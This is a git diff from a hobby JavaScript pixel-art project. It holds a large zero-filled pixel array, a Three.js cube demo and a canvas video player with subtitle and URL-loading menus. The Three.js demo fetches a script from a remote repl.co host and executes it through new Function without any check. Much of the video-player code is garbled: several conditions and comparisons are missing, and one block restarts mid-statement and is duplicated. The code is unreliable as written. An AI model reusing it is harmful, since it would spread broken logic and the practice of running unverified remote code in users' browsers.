0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0];return data[Math.floor(sx)+(Math.floor(sy)*256)]; } })(); \ No newline at end of file diff --git a/files/jsart/demos/threeTest.js b/files/jsart/demos/threeTest.js new file mode 100644 index 0000000..86e6f6d --- /dev/null +++ b/files/jsart/demos/threeTest.js @@ -0,0 +1,54 @@ +(()=>{ + if(x+y==0){if(!window.threeTest){window.threeTest={};fetch("https://threejs-demo.nhowe.repl.co/three.min.js").then(data=>data.text()).then(body=>{console.log("fetch correct!");(new Function(body))();init()});};if(window.THREE){window.threeTest.animate()}else{console.log("Waiting initialisation to end...")};} + function createWorld() { + console.log("Creating world..."); + window.threeTest.scene = new THREE.Scene(); + window.threeTest.camera = new THREE.PerspectiveCamera(60,1,0.1,1000); + window.threeTest.camera.position.z = 5; + window.threeTest.renderer.setClearColor(0x000066); + var geometry = new THREE.BoxGeometry(); + var material = new THREE.MeshLambertMaterial({color:0xffff00}); + window.threeTest.cube = new THREE.Mesh(geometry,material); + window.threeTest.scene.add(window.threeTest.cube); + window.threeTest.cube.scale.set(2,2,2); + var light = new THREE.DirectionalLight(0xffffff,1); + window.threeTest.scene.add(light); + light.position.z = 5; + } + function getAvailableFont(){ + if(document.fonts.check("12px 'Fredoka One'")&&document.fonts.check("10px 'Fredoka One'")){return "'Fredoka One'"} /* jsam */ + if(document.fonts.check("12px Quicksand-Regular")&&document.fonts.check("10px Quicksand-Regular")){return "Quicksand-Regular"} /* jsart */ + return "Arial" /* system font: daydun random or unknown mod */ + }; + window.threeTest.render = function(){ + window.threeTest.renderer.render(window.threeTest.scene, window.threeTest.camera); + let secCnv = document.createElement("canvas");secCnv.width=secCnv.height=256;let secCtx = secCnv.getContext("2d"); + let font = getAvailableFont(); + secCtx.drawImage(window.threeTest.canvas,0,0);secCtx.font="12px "+font;secCtx.fillStyle="#ffffff80";secCtx.fillText("JSArt + THREE.js testing",3,12);secCtx.font="10px "+font;secCtx.fillText("taken from this demo: threejs-demo.nhowe.repl.co",2,242);secCtx.fillText("@Ponali",2,252); + let data = secCtx.getImageData(0,0,256,256).data; + window.threeTest.cvpx=[];for(i=0;i<256*256;i++){let val=0;val+=data[(i*4)]<<16;val+=data[(i*4)+1]<<8;val+=data[(i*4)+2];window.threeTest.cvpx.push(val)} + }; + function init() { + console.log("initializing"); + window.threeTest.canvas = document.createElement("canvas"); + window.threeTest.canvas.width=window.threeTest.canvas.height=256; + try { + window.threeTest.renderer = new THREE.WebGLRenderer( { canvas: window.threeTest.canvas, antialias: true} ); + console.log("made renderer!"); + } + catch (e) { + console.log("Whoops!"); + console.log(e); + } + window.threeTest.animate = function() { + window.threeTest.cube.rotation.x += 0.01; + window.threeTest.cube.rotation.y += 0.02; + + window.threeTest.render(); + }; + createWorld(); + } + + return +(window.threeTest.cvpx?window.threeTest.cvpx:[])[x+(y*256)] + +})(); \ No newline at end of file diff --git a/files/jsart/demos/videoplay.js b/files/jsart/demos/videoplay.js new file mode 100644 index 0000000..fdcf5c8 --- /dev/null +++ b/files/jsart/demos/videoplay.js @@ -0,0 +1,738 @@ +(()=>{ + if(x==0&&y==0){ + if(window.vidvw){ + if((!!window.vidvw.usingAuto)&&window.vidvw.menu==0){ + let currentTime = 60; + let shift = (window.vidAuto?window.vidAuto.lengthShifts[window.vidAuto.vidIdx] : 0); + if(window.vidvw.imge){currentTime=window.vidvw.imge.currentTime+shift;}; + if(currentTime>((window.vidvw.imge.duration+shift)-0.5)){ + window.vidvw.imge.pause(); + window.vidvw=null; + window.iAmTheRefreshButton="and i ask you to not go to menu 2."; + }; + let subs = window.vidAuto.parsedSubs; + try{ + if(subs[window.vidAuto.subIdx].finishcurrentTime){ + window.vidAuto.subIdx--; + }(()=>{ + if(x==0&&y==0){ + if(window.vidvw){ + if((!!window.vidvw.usingAuto)&&window.vidvw.menu==0){ + let currentTime = 60; + if(window.vidvw.imge){currentTime=window.vidvw.imge.currentTime;}; + if(currentTime>((window.vidvw.imge.duration+shift)-0.5)){ + window.vidvw.imge.pause(); + window.vidvw=null; + window.iAmTheRefreshButton="and i ask you to not go to menu 2."; + }; + let subs = window.vidAuto.parsedSubs; + try{ + if(subs[window.vidAuto.subIdx].finishcurrentTime){ + window.vidAuto.subIdx--; + } + let ascii7replace="???????????????????????????????? !CE?YlS?ca<_*-*+23'pp.,1*>///?AAAAAAACEEEEIIIIDNOOOOOxOUUUUYpSaaaaaaaceeeeiiiionooooo/ouuuuypy"; + let subtext = subs[window.vidAuto.subIdx].txt.replace(new RegExp("\r","g"),"").split("\n"); + for(i=0;i32){ + let elem = subtext[i]; + let last=elem.slice(0,32).lastIndexOf(" "); + subtext[i]=elem.slice(0,last); + subtext.splice(i+1, 0, elem.slice(last+1)); + }; + for(j=0;j128){ + //console.log("replacing unsupported character: "+subtext[i]); + let str = subtext[i].split(""); + str[j]=ascii7replace[subtext[i].charCodeAt(j)-129]; + subtext[i]=str.join(""); + } + } + }; + if(!(currentTime>subs[window.vidAuto.subIdx].start)){ + subtext = []; + }; + window.vidAuto.subtitleText=subtext; + }catch{window.vidAuto.subtitleText=["Subtitles prob. unavailable"]} + } + window.vidvw.time=["Unavailable","Unavailable"]; + function calculateTime(ti){ + if(ti==Infinity){return "prob. WEBM zero"} + if(ti==0){return "Time = 0";} + let elems = [Math.floor(ti/86400),Math.floor(ti/3600)%24,Math.floor(ti/60)%60,Math.floor(ti)%60]; + for(i=0;i=0&&my>=0){ + if(((cl==1&&mx>200&my>243&&k!=88)||k==82)&&window.vidvw.loaded==true){window.vidvw.imge.pause();if(!!window.vidvw.usingAuto){window.vidAuto.vidIdx--;};window.vidvw=null;window.iAmTheRefreshButton="and i ask you to not go to menu 2.";} + if(cl==1&&my>243&&mx>105&&mx<154){ + window.vidvw.imge.pause(); + window.vidvw.menu=2; + } + if((cl==1&&mx<59&my>243&&k!=88)&&window.vidvw.loaded==true){window.vidvw.menu=1;console.log('%c-- JSArt mPlayer --\n%cWelcome to my JSAM Video Viewer! If you\'re here to learn more about this, then you\'re in the right place! Here\'s what you need to know:\n\n- Most of the code was taken from %cpicsum.js%c, which is an image viewer that gets JPGs from https://lorem.picsum/ and puts it in a canvas. Mostly everything in this list works in there, too.\n\n- You can zoom in a part of the video by pressing "x" and moving your mouse.\n\n- You can press the left or right arrow keys to move backwards and forwards through the video. This will certainly help for videos being an hour long.\n\n- You can press "r" to reload the video. In picsum, it will get another image because picsum always loads random images for every request.\n\n- You can change the current time of the video by clicking on the blue bar that appears when your mouse is in the bottom of the screen.\n\n- Custom videos are possible! Use the command window.%ccimgurl%c=%c"[http(s) link]"%c;, reload, and the video requested is running! %cIf it does not load due to a CORS issue, do not blame me, it is the fault of the developer of the website requested. If another error occurs, message me (discord: @ponali) regarding your issue and the link you requested.%c\nWe offer you videos to test on and to look at:\nhttps://jsart.ponali.repl.co/videos/outputmayo.mp4 for m a y o\'s reaction to the 6/21/2023 nintendo direct.\nhttps://jsart.ponali.repl.co/videos/my-honest-reaction.webm originally a part of "The Mario Kart 8 Deluxe OST got me like" from TheShadowCrafter.\nhttps://jsart.ponali.repl.co/videos/outputstewie.mp4 comes from an edit made by SuperWiiBros08.\nhttps://jsart.ponali.repl.co/videos/outputwii.mp4 a compilation on what SuperWiiBros08 posted on twitter/tumblr.\nhttps://jsart.ponali.repl.co/videos/output-hard-drive.mp4 a compilation of videos i had in my hard drive with a datamosh cut.\nhttps://jsart.ponali.repl.co/videos/le-domaine-des-dieux.auto A film that only came in france. French and English subtitles are available.\nhttps://jsart.ponali.repl.co/videos/huh.mp4 HUH!?!?!?\n\nHave fun using this video viewer! @Ponali',"color:yellow;font-size:20px;font-style: italic;","","background-color:#0000ff;","","color:yellow;","","color:orange;","","background-color:red;","");} + if(cl==1&&my<=243&&my>(243-7)){ + if((window.vidvw.usingAuto&&window.vidAuto.lenChange)||(!window.vidvw.usingAuto)){ + let newtime = (mx/256)*window.vidvw.imge.duration; + window.vidvw.imge.currentTime=newtime; + }; + }; + if(cl==1&&my<(244-7)){ + if(window.vidvw.clicking!=cl){ + togglePause(); + } + }; + window.vidvw.clicking=cl; + }; + } else if(window.vidvw.menu==1){ + if(cl==1&&mx<34&&my<12){ + window.vidvw.menu=0; + } + } else if(window.vidvw.menu==2){ + if(cl==1){ + let idx = Math.floor(my/24); + let elem = window.vidvw.selectList[idx]; + if(!elem.special){ + window.vidvw.menu=0 + window.cimgurl=elem.link; + window.vidvw.startLoading(); + } else if (elem.special==1){ + let htelem = document.createElement("div"); + htelem.innerHTML='Enter URL:

'; + htelem.querySelector("#mplEnterBtn").addEventListener("click",()=>{ + let value = htelem.querySelector("#mplURL").value; + window.vidvw.menu=0; + window.cimgurl=value; + window.vidvw.startLoading(); + htelem.outerHTML=""; + },true) + htelem.querySelector("#mplCancelBtn").addEventListener("click",()=>{ + htelem.outerHTML=""; + },true) + document.body.insertBefore(htelem,document.querySelector("#about")) + } else if (elem.special==2){ + let htelem = document.createElement("div"); + htelem.innerHTML='Insert file:
'; + htelem.querySelector("#mplEnterBtn").addEventListener("click",()=>{ + let value = htelem.querySelector("#mplFile"); + var reader = new FileReader(); + reader.readAsDataURL(value.files[0]); + reader.onload = function () { + let link = reader.result; + window.vidvw.menu=0; + window.cimgurl=link; + window.vidvw.startLoading(); + htelem.outerHTML=""; + }; + reader.onerror = function (error) { + console.log(error); + }; + },true) + htelem.querySelector("#mplCancelBtn").addEventListener("click",()=>{ + htelem.outerHTML=""; + },true) + document.body.insertBefore(htelem,document.querySelector("#about")) + } + } + }; + if(window.vidvw.loaded){ + window.vidvw.ctx.clearRect(0,0,512,512) + window.vidvw.ctx.drawImage(window.vidvw.imge,Math.floor((512-(window.vidvw.imageSize[0]))/2),Math.floor((512-(window.vidvw.imageSize[1]))/2),window.vidvw.imageSize[0],window.vidvw.imageSize[1]); + window.vidvw.imgdata = window.vidvw.ctx.getImageData(0,0,512,512); + } + } + if(!window.vidvw){ + window.vidvw = {"cnv":document.createElement("canvas"),"ctx":{},"dataURL":"","loaded":false,"menu":2,"imageOrigin":"","keyPress":0,"clicking":0,"auto":[],"usingAuto":0,"source":"","selectList":[{"txt":"meow by lvusm for 1 hour","link":"https://jsart.ponali.repl.co/videos/meow.mp4"},{"txt":"mayo's 6/21/2023 reaction","link":"https://jsart.ponali.repl.co/videos/outputmayo.mp4"},{"txt":"My Honest Reaction","link":"https://jsart.ponali.repl.co/videos/my-honest-reaction.webm"},{"txt":"Stewie Green Screen","link":"https://jsart.ponali.repl.co/videos/outputstewie.mp4"},{"txt":"SuperWiiBros08 Twitter comp.","link":"https://jsart.ponali.repl.co/videos/outputwii.mp4"},{"txt":"Ponali's hard drive","link":"https://jsart.ponali.repl.co/videos/output-hard-drive.mp4"},{"txt":"Asterix: Le domaine des 